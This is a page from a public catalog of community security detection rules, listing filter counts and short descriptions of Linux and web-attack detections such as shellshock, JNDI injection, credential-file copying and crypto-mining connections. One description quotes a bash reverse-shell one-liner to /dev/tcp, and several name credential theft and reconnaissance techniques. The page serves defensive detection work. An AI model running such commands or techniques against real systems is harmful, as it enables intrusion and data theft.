Detections
Explore public detection logic contributed by the community across SIEM and rule languages.
7,270 detections
Filters
Last updated
All Time
Detection languages
3,342
1,086
505
478
472
Contributors
1,824
1,622
874
505
300
Categories
3,031
2,542
1,076
1,049
929
Platforms
39,960
7,270
6,537
3,868
3,651
Products / Services
1,331
1,109
991
658
494
MITRE Techniques
2,271
1,336
1,318
904
885
CVEs
66
65
33
32
28
IDS Classtypes
81
80
56
27
10
IDS Protocols
149
98
6
5
4
Detects shellshock expressions in log files
Detects when the file "passwd" or "shadow" is copied from tmp path
Detects the use of grep to identify information about the operating system architecture. Often combined beforehand with the execution of "uname" or "cat /proc/cpuinfo"
Detects the creation of a new named pipe using the "mkfifo" utility
Detects usage of "find" binary in a suspicious manner to perform discovery
Detects events in which someone prints the contents of history files to the commandline or redirects it to a file for reconnaissance
Detects execution of shells from a parent process located in a temporary (/tmp) directory
Java Payload Strings
Sigma
Detects possible Java payloads in web access logs
Detects path traversal exploitation attempts
Detects potential JNDI Injection exploitation. Often coupled with Log4Shell exploitation.
Detects XML parsing issues, if the application expects to work with XML make sure that the parser is initialized safely.
Detects suspicious command with /dev/tcp
Detects the creation of shell scripts under the "profile.d" path.
Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')
Detects process connections to a Monero crypto mining pool
Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors
Detects the usage of the unsafe bpftrace option
Crontab Enumeration
Sigma
Detects usage of crontab to list the tasks of the user
Detects execution of the "groupdel" binary. Which is used to delete a group. This is sometimes abused by threat actors in order to cover their tracks
Detects execution of binaries located in potentially suspicious locations via "nohup"
Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell.
SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including
Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.
SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including
Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.
Page 343 of 347